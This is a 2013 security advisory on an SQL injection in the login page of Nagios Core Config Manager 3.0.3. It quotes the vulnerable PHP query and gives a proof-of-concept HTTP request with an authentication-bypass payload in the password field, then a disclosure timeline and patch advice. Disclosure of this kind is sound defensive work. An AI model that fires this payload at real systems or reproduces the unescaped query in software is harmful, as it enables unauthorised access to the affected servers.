security-assessment.com

Vulnerability Advisory

Name	Nagios Core Config Manager SQLi vulnerability
Vendor Website	http://www.nagios.org/
Date Released	13/11/2013
Affected Software	Nagios Core Config Manager 3.0.3
Researchers	Denis Andzakovic

Description

An SQL injection vulnerability has been discovered within the login functionality of Nagios Core Config Manager. This vulnerability exists due to the password field not being validated before being used to construct an SQL query on-the-fly. SQL Injection allows a malicious entity to execute arbitrary SQL statements. This vulnerability was discovered within the Nagios Core Config Manager shipped within the Nagios XI virtual appliance, which can be found under http://**<vmlocation>**/nagiosql/index.php

Exploitation

The password parameter on the login page of Nagios Core Config Manager was found to be vulnerable to SQL Injection, this is due to line 138 in the 'functions/prepend_adm.php' file, as detailed in the screenshot below:

```
134 //
135 // Login verarbeiten
136 // ================
137 if (isset($preUsername)) {
138   $strSQL     = "SELECT * FROM `tbl_user` WHERE `username`='".mysql_real_escape_string($preUsername)."' AND `password`=MD5('$prePassword') AND `active`='1'";
139   $booReturn = $myDBClass->getDataArray($strSQL,$arrDataUser,$intDataCount);
140   if ($booReturn == false) {
```

The $prePassword variable is not validated, allowing a malicious entity to conduct SQL Injection attacks. The following PoC demonstrates an authorisation bypass attack leveraging this vulnerability.

Proof of Concept

```
POST /nagiosql/index.php HTTP/1.1
Host: localhost
Content-Length: 69
Origin: http://locahost
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76
Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/nagiosql/
Cookie: PHPSESSID=httj04vv2g028sbs73v9dqoqs3

tfUsername=test&tfPassword=%27%29+OR+1%3D1+limit+1%3B--+&Submit=Login
```

Timeline

24/09/2013 - Initial Disclosure

24/09/2013 - Vendor advised the vulnerability has been patched and new Nagios XI release due

Solution

Update to the latest version of Nagios XI and Nagios Core Config Manager.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 460 2596